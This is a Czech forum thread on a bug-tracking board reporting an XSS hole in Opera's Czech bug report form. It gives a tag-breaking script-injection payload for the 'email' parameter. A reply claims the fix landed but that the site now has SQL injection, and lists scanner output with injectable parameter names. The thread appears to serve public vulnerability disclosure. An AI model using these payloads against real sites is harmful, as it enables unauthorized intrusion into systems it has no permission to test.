Český bug report Opery - XSS

BugTrack

Český bug report Opery - XSS#
link: [link]
a do parametru email umistit tento alert :)
"--></style></script><scr
ipt>alert(0x000774)</script>



(odpovědět)
oLa | 46.119.42.*13.4.2012 21:33
re: Český bug report Opery - XSS#
Zda se, ze je to opraveno. Pak tam maji SQLi :)

Vulnerability Classifications:
PCI 6.5.2 OWASP A1 CAPEC-66 CWE-89 98

[link]

Parameter Name: forums
Parameter Type: Querystring
Attack Pattern: NSFTW

[link]

Parameter Name: firstonly
Parameter Type: Querystring
Attack Pattern: NSFTW

(odpovědět)
oLa | 77.247.181.*14.4.2012 8:44

Zpět
 
 
 

 
BBCode